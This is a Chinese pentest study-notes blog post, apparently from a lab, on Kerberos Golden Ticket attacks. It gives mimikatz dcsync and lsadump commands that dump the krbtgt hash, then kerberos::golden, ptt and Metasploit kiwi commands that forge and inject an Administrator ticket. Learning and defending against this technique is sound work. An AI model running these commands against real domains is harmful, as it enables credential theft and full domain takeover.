内网学习笔记 | 28、黄金票据

2022-09-20 18:58:22 浏览数 (1)

0、前言

RT 在利用黄金票据(Golden Ticket)进行 PTP 票据传递时,需要先知道以下信息:

  • 伪造的域管理员用户名
  • 完整的域名
  • 域 SID
  • krbtgt 的 NTLM Hash 或 AES-256 值

其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。

在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份了。

1、导出 krbtgt 的 NTLM Hash

在 mimikatz 下执行以下命令

代码语言:javascript复制
lsadump::dcsync /domain:teamssix.com /user:krbtgt

这里得到 krbtgt 的 NTLM Hash 为 d685b9c4fa2d318a9943ed68948af087

该命令使用的 dcsync 功能远程转储 AD 里的 ntds.dit,使用 /user 参数,可以只导出指定用户的值。

或者使用以下命令获取 krbtgt 的 NTLM Hash ,域 SID 值,但该命令无法获取 AES-256 的值

代码语言:javascript复制
privilege::debug
lsadump::lsa /patch /user:krbtgt

2、获取基本信息

获取域 SID

代码语言:javascript复制
wmic useraccount get name,sid

这里得到 administrator 的 SID 为 S-1-5-21-284927032-1122706408-2778656994-500,即表示当前域的 SID 就是 S-1-5-21-284927032-1122706408-2778656994

获取当前用户的 SID

代码语言:javascript复制
whoami /user

查询域管理员账号

代码语言:javascript复制
net group "domain admins" /domain

查询域名

代码语言:javascript复制
ipconfig /all

3、制作黄金票据

先将票据清空

代码语言:javascript复制
kerberos::purge

生成票据

代码语言:javascript复制
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi

传递票据并注入内存

代码语言:javascript复制
kerberos::ptt Administrator.kiribi

4、验证权限

退出 mimikatz ,使用 dir 发现可以成功列出域控文件

这里使用 PsExec 也同样是能获取到权限的,除了上面使用 NTLM Hash 之外,还可以使用 krbtgt 的 AES-256 值生成黄金票据

代码语言:javascript复制
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /aes256:3dfa1f9b5809250a7670c12d1e109f0acb9660f902da8aa3a4be55a16affbbd5 /ticket:Administrator.kiribi

命令完成之后,也会生成一个 Administrator.kiribi 文件,之后的操作就都一样了。

5、MSF 下的利用

首先上线一个普通用户,然后加载 kiwi 模块

代码语言:javascript复制
load kiwi

生成黄金票据

代码语言:javascript复制
golden_ticket_create -d teamssix.com -k d685b9c4fa2d318a9943ed68948af087 -s S-1-5-21-284927032-1122706408-2778656994 -u administrator -t /root/administrator.ticket

将黄金票据注入内存

代码语言:javascript复制
kerberos_ticket_use /root/administrator.ticket

注入成功后,进入 Shell 就能查看 dc 里的文件了

参考文章: https://www.freebuf.com/articles/web/274035.html 原文链接: https://teamssix.com/210927-163036.html


往期推荐

内网学习笔记 | 27、Kerberos 域用户提权漏洞

内网学习笔记 | 密码抓取

内网学习笔记 | 26、ntds.dit 的提取与散列值导出

0 人点赞